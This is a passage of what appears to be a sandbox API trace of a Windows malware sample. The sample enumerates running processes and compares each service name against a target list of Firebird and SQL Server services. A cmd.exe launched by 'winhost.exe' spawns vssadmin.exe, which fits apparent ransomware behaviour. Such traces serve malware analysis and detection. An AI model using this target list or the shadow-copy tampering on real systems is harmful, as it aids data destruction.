lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.903] lstrlenW (lpString="omnipos.exe") returned 11 [0078.903] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.904] lstrlenW (lpString="spcwin.exe") returned 10 [0078.904] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.904] lstrlenW (lpString="spgagentservice.exe") returned 19 [0078.904] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.905] lstrlenW (lpString="utg2.exe") returned 8 [0078.905] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0078.905] lstrlenW (lpString="nj_sh.exe") returned 9 [0078.905] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0078.906] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0078.906] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0078.906] lstrlenW (lpString="telecommunications.exe") returned 22 [0078.906] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0078.907] lstrlenW (lpString="sound banking.exe") returned 17 [0078.907] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.907] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.907] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.908] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.908] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.908] lstrlenW (lpString="taskhost.exe") returned 12 [0078.908] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0078.908] lstrlenW (lpString="winhost.exe") returned 11 [0078.908] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.909] lstrlenW (lpString="cmd.exe") returned 7 [0078.909] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.909] lstrlenW (lpString="conhost.exe") returned 11 [0078.909] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0078.910] lstrlenW (lpString="vssadmin.exe") returned 12 [0078.910] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0078.910] lstrlenW (lpString="VSSVC.exe") returned 9 [0078.910] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.911] lstrlenW (lpString="svchost.exe") returned 11 [0078.911] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0078.911] CloseHandle (hObject=0x1dc) returned 1 [0078.911] Sleep (dwMilliseconds=0x1f4) [0079.581] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff00 [0079.582] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0079.582] GetLastError () returned 0xea [0079.582] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0079.583] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0079.583] CloseServiceHandle (hSCObject=0x52ff00) returned 1 [0079.584] lstrlenW (lpString="Appinfo") returned 7 [0079.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.584] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.584] lstrlenW (lpString="AudioSrv") returned 8 [0079.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0079.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0079.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0079.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0079.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0079.584] lstrlenW (lpString="BFE") returned 3 [0079.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.585] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.585] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.585] lstrlenW (lpString="CryptSvc") returned 8 [0079.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.585] lstrlenW (lpString="CscService") returned 10 [0079.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0079.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0079.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0079.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0079.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0079.585] lstrlenW (lpString="DcomLaunch") returned 10 [0079.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.585] lstrlenW (lpString="Dhcp") returned 4 [0079.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.586] lstrlenW (lpString="Dnscache") returned 8 [0079.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0079.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.586] lstrlenW (lpString="DPS") returned 3 [0079.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.586] lstrlenW (lpString="eventlog") returned 8 [0079.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0079.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0079.586] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0079.586] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0079.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0079.586] lstrlenW (lpString="EventSystem") returned 11 [0079.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.586] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.587] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.587] lstrlenW (lpString="gpsvc") returned 5 [0079.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.587] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.587] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.587] lstrlenW (lpString="iphlpsvc") returned 8 [0079.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.587] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.587] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.587] lstrlenW (lpString="LanmanServer") returned 12 [0079.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.588] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.588] lstrlenW (lpString="lmhosts") returned 7 [0079.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.588] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.588] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.588] lstrlenW (lpString="MMCSS") returned 5 [0079.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0079.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0079.588] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0079.588] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0079.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0079.588] lstrlenW (lpString="MpsSvc") returned 6 [0079.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.589] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.589] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.589] lstrlenW (lpString="Netman") returned 6 [0079.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0079.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0079.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0079.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0079.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0079.589] lstrlenW (lpString="netprofm") returned 8 [0079.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.589] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.589] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.589] lstrlenW (lpString="NlaSvc") returned 6 [0079.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.589] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.589] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.589] lstrlenW (lpString="nsi") returned 3 [0079.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.590] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.590] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.590] lstrlenW (lpString="PcaSvc") returned 6 [0079.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.590] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.590] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.590] lstrlenW (lpString="PlugPlay") returned 8 [0079.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.590] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.590] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.590] lstrlenW (lpString="Power") returned 5 [0079.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.590] lstrlenW (lpString="ProfSvc") returned 7 [0079.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.591] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.591] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.591] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.591] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.591] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.591] lstrlenW (lpString="RpcSs") returned 5 [0079.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.591] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.591] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.591] lstrlenW (lpString="SamSs") returned 5 [0079.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.591] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.591] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.591] lstrlenW (lpString="Schedule") returned 8 [0079.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.592] lstrlenW (lpString="SENS") returned 4 [0079.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.592] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.592] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.592] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.592] lstrlenW (lpString="Spooler") returned 7 [0079.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.592] lstrlenW (lpString="swprv") returned 5 [0079.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0079.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0079.592] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0079.592] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0079.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0079.593] lstrlenW (lpString="SysMain") returned 7 [0079.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0079.593] lstrlenW (lpString="Themes") returned 6 [0079.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0079.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0079.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0079.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0079.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0079.593] lstrlenW (lpString="TrkWks") returned 6 [0079.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0079.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0079.593] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0079.593] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0079.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0079.593] lstrlenW (lpString="UxSms") returned 5 [0079.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0079.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0079.593] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0079.593] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0079.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0079.594] lstrlenW (lpString="VSS") returned 3 [0079.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0079.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0079.594] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0079.594] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0079.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0079.594] lstrlenW (lpString="WdiServiceHost") returned 14 [0079.594] lstrcmpiW 